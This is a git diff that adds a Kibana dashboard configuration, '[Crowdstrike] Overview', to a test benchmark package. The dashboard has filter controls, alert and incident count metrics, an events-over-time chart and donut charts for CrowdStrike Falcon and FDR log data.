diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750.json
new file mode 100644
index 0000000000..623e3c5bb6
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750.json
@@ -0,0 +1,1073 @@
+{
+    "attributes": {
+        "controlGroupInput": {
+            "chainingSystem": "HIERARCHICAL",
+            "controlStyle": "oneLine",
+            "ignoreParentSettingsJSON": {
+                "ignoreFilters": false,
+                "ignoreQuery": false,
+                "ignoreTimerange": false,
+                "ignoreValidations": false
+            },
+            "panelsJSON": {
+                "1424080f-b8da-4816-94dd-904bde41c6de": {
+                    "explicitInput": {
+                        "dataViewId": "logs-*",
+                        "fieldName": "observer.address",
+                        "id": "1424080f-b8da-4816-94dd-904bde41c6de",
+                        "searchTechnique": "prefix",
+                        "selectedOptions": [],
+                        "sort": {
+                            "by": "_count",
+                            "direction": "desc"
+                        },
+                        "title": "Observer Address"
+                    },
+                    "grow": true,
+                    "order": 0,
+                    "type": "optionsListControl",
+                    "width": "medium"
+                },
+                "234700e7-0f96-4054-9073-64b3e2d61fa2": {
+                    "explicitInput": {
+                        "dataViewId": "logs-*",
+                        "fieldName": "data_stream.dataset",
+                        "id": "234700e7-0f96-4054-9073-64b3e2d61fa2",
+                        "searchTechnique": "prefix",
+                        "selectedOptions": [],
+                        "sort": {
+                            "by": "_count",
+                            "direction": "desc"
+                        },
+                        "title": "Datastream"
+                    },
+                    "grow": true,
+                    "order": 2,
+                    "type": "optionsListControl",
+                    "width": "medium"
+                },
+                "2f027408-9e82-4fbe-8c59-f32e933b50f0": {
+                    "explicitInput": {
+                        "dataViewId": "logs-*",
+                        "fieldName": "host.hostname",
+                        "id": "2f027408-9e82-4fbe-8c59-f32e933b50f0",
+                        "searchTechnique": "prefix",
+                        "selectedOptions": [],
+                        "sort": {
+                            "by": "_count",
+                            "direction": "desc"
+                        },
+                        "title": "Hostname"
+                    },
+                    "grow": true,
+                    "order": 1,
+                    "type": "optionsListControl",
+                    "width": "medium"
+                },
+                "3dc73766-aa88-46ff-a02d-b0e600136550": {
+                    "explicitInput": {
+                        "dataViewId": "logs-*",
+                        "fieldName": "event.action",
+                        "id": "3dc73766-aa88-46ff-a02d-b0e600136550",
+                        "searchTechnique": "prefix",
+                        "selectedOptions": [],
+                        "sort": {
+                            "by": "_count",
+                            "direction": "desc"
+                        },
+                        "title": "Event Type"
+                    },
+                    "grow": true,
+                    "order": 3,
+                    "type": "optionsListControl",
+                    "width": "medium"
+                }
+            },
+            "showApplySelections": false
+        },
+        "description": "",
+        "kibanaSavedObjectMeta": {
+            "searchSourceJSON": {
+                "filter": [
+                    {
+                        "$state": {
+                            "store": "appState"
+                        },
+                        "meta": {
+                            "alias": null,
+                            "disabled": false,
+                            "field": "data_stream.dataset",
+                            "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index",
+                            "key": "data_stream.dataset",
+                            "negate": false,
+                            "params": [
+                                "crowdstrike.falcon",
+                                "crowdstrike.fdr"
+                            ],
+                            "type": "phrases"
+                        },
+                        "query": {
+                            "bool": {
+                                "minimum_should_match": 1,
+                                "should": [
+                                    {
+                                        "match_phrase": {
+                                            "data_stream.dataset": "crowdstrike.falcon"
+                                        }
+                                    },
+                                    {
+                                        "match_phrase": {
+                                            "data_stream.dataset": "crowdstrike.fdr"
+                                        }
+                                    }
+                                ]
+                            }
+                        }
+                    }
+                ],
+                "query": {
+                    "language": "kuery",
+                    "query": ""
+                }
+            }
+        },
+        "optionsJSON": {
+            "hidePanelTitles": false,
+            "syncColors": false,
+            "syncCursor": true,
+            "syncTooltips": false,
+            "useMargins": true
+        },
+        "panelsJSON": [
+            {
+                "embeddableConfig": {
+                    "enhancements": {
+                        "dynamicActions": {
+                            "events": []
+                        }
+                    },
+                    "hidePanelTitles": false,
+                    "savedVis": {
+                        "data": {
+                            "aggs": [],
+                            "searchSource": {
+                                "filter": [],
+                                "query": {
+                                    "language": "kuery",
+                                    "query": ""
+                                }
+                            }
+                        },
+                        "description": "",
+                        "id": "",
+                        "params": {
+                            "fontSize": 12,
+                            "markdown": "## **Crowdstrike**\n\n### Navigation\n\n**Overview** \n\n[FDR](/app/dashboards#/view/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f)  \n\n[Falcon](/app/dashboards#/view/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750) \n\n[Alert](/app/dashboards#/view/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c)\n\n[Host](/app/dashboards#/view/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c)\n\n[Vulnerability](/app/dashboards#/view/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5)\n\n### Overview\n\nThis dashboards shows the overview of currently enabled Crowdstrike Integrations (Falcon and FDR).\n\n",
+                            "openLinksInNewTab": false
+                        },
+                        "title": "",
+                        "type": "markdown",
+                        "uiState": {}
+                    }
+                },
+                "gridData": {
+                    "h": 41,
+                    "i": "90059f1b-88f7-4e04-b755-081233d12559",
+                    "w": 7,
+                    "x": 0,
+                    "y": 0
+                },
+                "panelIndex": "90059f1b-88f7-4e04-b755-081233d12559",
+                "title": "Table of Contents",
+                "type": "visualization"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
+                                "type": "index-pattern"
+                            },
+                            {
+                                "id": "logs-*",
+                                "name": "a973e58c-53cc-411f-87e5-3cbbd3f0dcf8",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "layers": {
+                                        "cded08fb-72d8-4fff-bd9b-ca53189f9363": {
+                                            "columnOrder": [
+                                                "d11e6000-056a-4e47-add0-b0942e7bba2c"
+                                            ],
+                                            "columns": {
+                                                "d11e6000-056a-4e47-add0-b0942e7bba2c": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "FDR Alerts",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": true
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                }
+                                            },
+                                            "incompleteColumns": {},
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [
+                                {
+                                    "$state": {
+                                        "store": "appState"
+                                    },
+                                    "meta": {
+                                        "alias": null,
+                                        "disabled": false,
+                                        "index": "a973e58c-53cc-411f-87e5-3cbbd3f0dcf8",
+                                        "negate": false,
+                                        "params": [
+                                            {
+                                                "meta": {
+                                                    "alias": null,
+                                                    "disabled": false,
+                                                    "field": "data_stream.dataset",
+                                                    "index": "logs-*",
+                                                    "key": "data_stream.dataset",
+                                                    "negate": false,
+                                                    "params": {
+                                                        "query": "crowdstrike.fdr"
+                                                    },
+                                                    "type": "phrase"
+                                                },
+                                                "query": {
+                                                    "match_phrase": {
+                                                        "data_stream.dataset": "crowdstrike.fdr"
+                                                    }
+                                                }
+                                            },
+                                            {
+                                                "meta": {
+                                                    "alias": null,
+                                                    "disabled": false,
+                                                    "field": "event.kind",
+                                                    "index": "logs-*",
+                                                    "key": "event.kind",
+                                                    "negate": false,
+                                                    "params": {
+                                                        "query": "alert"
+                                                    },
+                                                    "type": "phrase"
+                                                },
+                                                "query": {
+                                                    "match_phrase": {
+                                                        "event.kind": "alert"
+                                                    }
+                                                }
+                                            }
+                                        ],
+                                        "relation": "AND",
+                                        "type": "combined"
+                                    },
+                                    "query": {}
+                                }
+                            ],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "color": "#6092C0",
+                                "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363",
+                                "layerType": "data",
+                                "metricAccessor": "d11e6000-056a-4e47-add0-b0942e7bba2c"
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsMetric"
+                    },
+                    "enhancements": {},
+                    "hidePanelTitles": false
+                },
+                "gridData": {
+                    "h": 7,
+                    "i": "461d0b53-5efe-44fb-8cba-73a6e1a701c0",
+                    "w": 7,
+                    "x": 7,
+                    "y": 0
+                },
+                "panelIndex": "461d0b53-5efe-44fb-8cba-73a6e1a701c0",
+                "title": "FDR Alerts",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
+                                "type": "index-pattern"
+                            },
+                            {
+                                "id": "logs-*",
+                                "name": "1261050c-1c7b-426f-968d-78596586554e",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "layers": {
+                                        "cded08fb-72d8-4fff-bd9b-ca53189f9363": {
+                                            "columnOrder": [
+                                                "d11e6000-056a-4e47-add0-b0942e7bba2c"
+                                            ],
+                                            "columns": {
+                                                "d11e6000-056a-4e47-add0-b0942e7bba2c": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Falcon Incidents",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": true
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                }
+                                            },
+                                            "incompleteColumns": {},
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [
+                                {
+                                    "$state": {
+                                        "store": "appState"
+                                    },
+                                    "meta": {
+                                        "alias": null,
+                                        "disabled": false,
+                                        "index": "1261050c-1c7b-426f-968d-78596586554e",
+                                        "negate": false,
+                                        "params": [
+                                            {
+                                                "meta": {
+                                                    "alias": null,
+                                                    "disabled": false,
+                                                    "field": "data_stream.dataset",
+                                                    "index": "logs-*",
+                                                    "key": "data_stream.dataset",
+                                                    "negate": false,
+                                                    "params": {
+                                                        "query": "crowdstrike.falcon"
+                                                    },
+                                                    "type": "phrase"
+                                                },
+                                                "query": {
+                                                    "match_phrase": {
+                                                        "data_stream.dataset": "crowdstrike.falcon"
+                                                    }
+                                                }
+                                            },
+                                            {
+                                                "meta": {
+                                                    "alias": null,
+                                                    "disabled": false,
+                                                    "field": "crowdstrike.event.Category",
+                                                    "index": "logs-*",
+                                                    "key": "crowdstrike.event.Category",
+                                                    "negate": false,
+                                                    "params": {
+                                                        "query": "Incidents"
+                                                    },
+                                                    "type": "phrase"
+                                                },
+                                                "query": {
+                                                    "match_phrase": {
+                                                        "crowdstrike.event.Category": "Incidents"
+                                                    }
+                                                }
+                                            }
+                                        ],
+                                        "relation": "AND",
+                                        "type": "combined"
+                                    },
+                                    "query": {}
+                                }
+                            ],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "color": "#6092C0",
+                                "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363",
+                                "layerType": "data",
+                                "metricAccessor": "d11e6000-056a-4e47-add0-b0942e7bba2c"
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsMetric"
+                    },
+                    "enhancements": {},
+                    "hidePanelTitles": false
+                },
+                "gridData": {
+                    "h": 7,
+                    "i": "82bafaa2-170e-4d47-a01b-84c7af225795",
+                    "w": 7,
+                    "x": 14,
+                    "y": 0
+                },
+                "panelIndex": "82bafaa2-170e-4d47-a01b-84c7af225795",
+                "title": "Falcon Incidents",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "layers": {
+                                        "cded08fb-72d8-4fff-bd9b-ca53189f9363": {
+                                            "columnOrder": [
+                                                "b6bfb664-2c78-419f-9616-f7c4b40f580e",
+                                                "3d6bbe8c-883f-4b3d-8680-ee75b7b8bc93",
+                                                "d11e6000-056a-4e47-add0-b0942e7bba2c"
+                                            ],
+                                            "columns": {
+                                                "3d6bbe8c-883f-4b3d-8680-ee75b7b8bc93": {
+                                                    "dataType": "date",
+                                                    "isBucketed": true,
+                                                    "label": "@timestamp",
+                                                    "operationType": "date_histogram",
+                                                    "params": {
+                                                        "dropPartials": false,
+                                                        "includeEmptyRows": true,
+                                                        "interval": "auto"
+                                                    },
+                                                    "scale": "interval",
+                                                    "sourceField": "@timestamp"
+                                                },
+                                                "b6bfb664-2c78-419f-9616-f7c4b40f580e": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "Activity by Data Stream",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": true,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "size": 2
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "data_stream.dataset"
+                                                },
+                                                "d11e6000-056a-4e47-add0-b0942e7bba2c": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": true
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                }
+                                            },
+                                            "incompleteColumns": {},
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "axisTitlesVisibilitySettings": {
+                                    "x": true,
+                                    "yLeft": true,
+                                    "yRight": true
+                                },
+                                "fittingFunction": "None",
+                                "gridlinesVisibilitySettings": {
+                                    "x": true,
+                                    "yLeft": true,
+                                    "yRight": true
+                                },
+                                "labelsOrientation": {
+                                    "x": 0,
+                                    "yLeft": 0,
+                                    "yRight": 0
+                                },
+                                "layers": [
+                                    {
+                                        "accessors": [
+                                            "d11e6000-056a-4e47-add0-b0942e7bba2c"
+                                        ],
+                                        "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363",
+                                        "layerType": "data",
+                                        "seriesType": "area",
+                                        "splitAccessor": "b6bfb664-2c78-419f-9616-f7c4b40f580e",
+                                        "xAccessor": "3d6bbe8c-883f-4b3d-8680-ee75b7b8bc93"
+                                    }
+                                ],
+                                "legend": {
+                                    "isVisible": true,
+                                    "position": "right"
+                                },
+                                "preferredSeriesType": "area",
+                                "tickLabelsVisibilitySettings": {
+                                    "x": true,
+                                    "yLeft": true,
+                                    "yRight": true
+                                },
+                                "valueLabels": "hide"
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsXY"
+                    },
+                    "enhancements": {},
+                    "hidePanelTitles": false
+                },
+                "gridData": {
+                    "h": 21,
+                    "i": "3ae87a07-7518-4354-9eb2-2f548fcf2935",
+                    "w": 27,
+                    "x": 21,
+                    "y": 0
+                },
+                "panelIndex": "3ae87a07-7518-4354-9eb2-2f548fcf2935",
+                "title": "Events over Time by Data Stream",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
+                                "type": "index-pattern"
+                            },
+                            {
+                                "id": "logs-*",
+                                "name": "e3dd4e95-a876-4c1e-9ba4-41fbbb4f5dfd",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "layers": {
+                                        "cded08fb-72d8-4fff-bd9b-ca53189f9363": {
+                                            "columnOrder": [
+                                                "2c916dee-9123-4c38-837b-848078cac0a5",
+                                                "d11e6000-056a-4e47-add0-b0942e7bba2c"
+                                            ],
+                                            "columns": {
+                                                "2c916dee-9123-4c38-837b-848078cac0a5": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "Top FDR Alerts",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": true,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "size": 10
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "event.action"
+                                                },
+                                                "d11e6000-056a-4e47-add0-b0942e7bba2c": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": true
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                }
+                                            },
+                                            "incompleteColumns": {},
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [
+                                {
+                                    "$state": {
+                                        "store": "appState"
+                                    },
+                                    "meta": {
+                                        "alias": null,
+                                        "disabled": false,
+                                        "index": "e3dd4e95-a876-4c1e-9ba4-41fbbb4f5dfd",
+                                        "negate": false,
+                                        "params": [
+                                            {
+                                                "meta": {
+                                                    "alias": null,
+                                                    "disabled": false,
+                                                    "field": "data_stream.dataset",
+                                                    "index": "logs-*",
+                                                    "key": "data_stream.dataset",
+                                                    "negate": false,
+                                                    "params": {
+                                                        "query": "crowdstrike.fdr"
+                                                    },
+                                                    "type": "phrase"
+                                                },
+                                                "query": {
+                                                    "match_phrase": {
+                                                        "data_stream.dataset": "crowdstrike.fdr"
+                                                    }
+                                                }
+                                            },
+                                            {
+                                                "meta": {
+                                                    "alias": null,
+                                                    "disabled": false,
+                                                    "field": "event.kind",
+                                                    "index": "logs-*",
+                                                    "key": "event.kind",
+                                                    "negate": false,
+                                                    "params": {
+                                                        "query": "alert"
+                                                    },
+                                                    "type": "phrase"
+                                                },
+                                                "query": {
+                                                    "match_phrase": {
+                                                        "event.kind": "alert"
+                                                    }
+                                                }
+                                            }
+                                        ],
+                                        "relation": "AND",
+                                        "type": "combined"
+                                    },
+                                    "query": {}
+                                }
+                            ],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "layers": [
+                                    {
+                                        "categoryDisplay": "default",
+                                        "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363",
+                                        "layerType": "data",
+                                        "legendDisplay": "default",
+                                        "metrics": [
+                                            "d11e6000-056a-4e47-add0-b0942e7bba2c"
+                                        ],
+                                        "nestedLegend": false,
+                                        "numberDisplay": "percent",
+                                        "primaryGroups": [
+                                            "2c916dee-9123-4c38-837b-848078cac0a5"
+                                        ]
+                                    }
+                                ],
+                                "shape": "donut"
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsPie"
+                    },
+                    "enhancements": {},
+                    "hidePanelTitles": false
+                },
+                "gridData": {
+                    "h": 14,
+                    "i": "ddcad6b5-4e8e-4f43-8b3e-b0f11cd702da",
+                    "w": 7,
+                    "x": 7,
+                    "y": 7
+                },
+                "panelIndex": "ddcad6b5-4e8e-4f43-8b3e-b0f11cd702da",
+                "title": "FDR Alert Types",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
+                                "type": "index-pattern"
+                            },
+                            {
+                                "id": "logs-*",
+                                "name": "24d5c96e-43cb-4b7f-bc94-8d85933c1ad6",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "layers": {
+                                        "cded08fb-72d8-4fff-bd9b-ca53189f9363": {
+                                            "columnOrder": [
+                                                "2c916dee-9123-4c38-837b-848078cac0a5",
+                                                "d11e6000-056a-4e47-add0-b0942e7bba2c"
+                                            ],
+                                            "columns": {
+                                                "2c916dee-9123-4c38-837b-848078cac0a5": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "Top Falcon Incidents",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": true,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "size": 10
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "event.action"
+                                                },
+                                                "d11e6000-056a-4e47-add0-b0942e7bba2c": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": true
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                }
+                                            },
+                                            "incompleteColumns": {},
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [
+                                {
+                                    "$state": {
+                                        "store": "appState"
+                                    },
+                                    "meta": {
+                                        "alias": null,
+                                        "disabled": false,
+                                        "index": "24d5c96e-43cb-4b7f-bc94-8d85933c1ad6",
+                                        "negate": false,
+                                        "params": [
+                                            {
+                                                "meta": {
+                                                    "alias": null,
+                                                    "disabled": false,
+                                                    "field": "data_stream.dataset",
+                                                    "index": "logs-*",
+                                                    "key": "data_stream.dataset",
+                                                    "negate": false,
+                                                    "params": {
+                                                        "query": "crowdstrike.falcon"
+                                                    },
+                                                    "type": "phrase"
+                                                },
+                                                "query": {
+                                                    "match_phrase": {
+                                                        "data_stream.dataset": "crowdstrike.falcon"
+                                                    }
+                                                }
+                                            },
+                                            {
+                                                "meta": {
+                                                    "alias": null,
+                                                    "disabled": false,
+                                                    "field": "crowdstrike.event.Category",
+                                                    "index": "logs-*",
+                                                    "key": "crowdstrike.event.Category",
+                                                    "negate": false,
+                                                    "params": {
+                                                        "query": "Incidents"
+                                                    },
+                                                    "type": "phrase"
+                                                },
+                                                "query": {
+                                                    "match_phrase": {
+                                                        "crowdstrike.event.Category": "Incidents"
+                                                    }
+                                                }
+                                            }
+                                        ],
+                                        "relation": "AND",
+                                        "type": "combined"
+                                    },
+                                    "query": {}
+                                }
+                            ],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "layers": [
+                                    {
+                                        "categoryDisplay": "default",
+                                        "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363",
+                                        "layerType": "data",
+                                        "legendDisplay": "default",
+                                        "metrics": [
+                                            "d11e6000-056a-4e47-add0-b0942e7bba2c"
+                                        ],
+                                        "nestedLegend": false,
+                                        "numberDisplay": "percent",
+                                        "primaryGroups": [
+                                            "2c916dee-9123-4c38-837b-848078cac0a5"
+                                        ]
+                                    }
+                                ],
+                                "shape": "donut"
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsPie"
+                    },
+                    "enhancements": {},
+                    "hidePanelTitles": false
+                },
+                "gridData": {
+                    "h": 14,
+                    "i": "f1412dea-44cf-41dc-88e0-6e4d70ccbe80",
+                    "w": 7,
+                    "x": 14,
+                    "y": 7
+                },
+                "panelIndex": "f1412dea-44cf-41dc-88e0-6e4d70ccbe80",
+                "title": "Falcon Incident Types",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "description": "",
+                    "enhancements": {}
+                },
+                "gridData": {
+                    "h": 20,
+                    "i": "32d232a4-d1fd-43ac-8f5e-02e4e2aff981",
+                    "w": 21,
+                    "x": 7,
+                    "y": 21
+                },
+                "panelIndex": "32d232a4-d1fd-43ac-8f5e-02e4e2aff981",
+                "panelRefName": "panel_32d232a4-d1fd-43ac-8f5e-02e4e2aff981",
+                "title": "[Crowdstrike] Newest FDR Alerts",
+                "type": "search"
+            },
+            {
+                "embeddableConfig": {
+                    "description": "",
+                    "enhancements": {}
+                },
+                "gridData": {
+                    "h": 20,
+                    "i": "5faa13bd-3f89-4fa2-9f96-242cf14237a4",
+                    "w": 20,
+                    "x": 28,
+                    "y": 21
+                },
+                "panelIndex": "5faa13bd-3f89-4fa2-9f96-242cf14237a4",
+                "panelRefName": "panel_5faa13bd-3f89-4fa2-9f96-242cf14237a4",
+                "title": "[Crowdstrike] Newest Falcon Incidents",
+                "type": "search"
+            }
+        ],
+        "timeRestore": false,
+        "title": "[Crowdstrike] Overview",
+        "version": 2
+    },
+    "coreMigrationVersion": "8.8.0",
+    "created_at": "2025-03-01T12:27:18.648Z",
+    "id": "crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750",
+    "managed": false,
+    "references": [
+        {
+            "id": "logs-*",
+            "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "461d0b53-5efe-44fb-8cba-73a6e1a701c0:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "461d0b53-5efe-44fb-8cba-73a6e1a701c0:a973e58c-53cc-411f-87e5-3cbbd3f0dcf8",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "82bafaa2-170e-4d47-a01b-84c7af225795:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "82bafaa2-170e-4d47-a01b-84c7af225795:1261050c-1c7b-426f-968d-78596586554e",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "3ae87a07-7518-4354-9eb2-2f548fcf2935:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "ddcad6b5-4e8e-4f43-8b3e-b0f11cd702da:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "ddcad6b5-4e8e-4f43-8b3e-b0f11cd702da:e3dd4e95-a876-4c1e-9ba4-41fbbb4f5dfd",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "f1412dea-44cf-41dc-88e0-6e4d70ccbe80:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "f1412dea-44cf-41dc-88e0-6e4d70ccbe80:24d5c96e-43cb-4b7f-bc94-8d85933c1ad6",
+            "type": "index-pattern"
+        },
+        {
+            "id": "crowdstrike-9b99d190-8214-11ee-bae0-937af575b750",
+            "name": "32d232a4-d1fd-43ac-8f5e-02e4e2aff981:panel_32d232a4-d1fd-43ac-8f5e-02e4e2aff981",
+            "type": "search"
+        },
+        {
+            "id": "crowdstrike-a9e7ff80-8212-11ee-bae0-937af575b750",
+            "name": "5faa13bd-3f89-4fa2-9f96-242cf14237a4:panel_5faa13bd-3f89-4fa2-9f96-242cf14237a4",
+            "type": "search"
+        },
+        {
+            "id": "logs-*",
+            "name": "controlGroup_1424080f-b8da-4816-94dd-904bde41c6de:optionsListDataView",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "controlGroup_2f027408-9e82-4fbe-8c59-f32e933b50f0:optionsListDataView",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "controlGroup_234700e7-0f96-4054-9073-64b3e2d61fa2:optionsListDataView",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "controlGroup_3dc73766-aa88-46ff-a02d-b0e600136550:optionsListDataView",
+            "type": "index-pattern"
+        }
+    ],
+    "type": "dashboard",
+    "typeMigrationVersion": "10.2.0",
+    "updated_by": "u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0"
+}
\ No newline at end of file
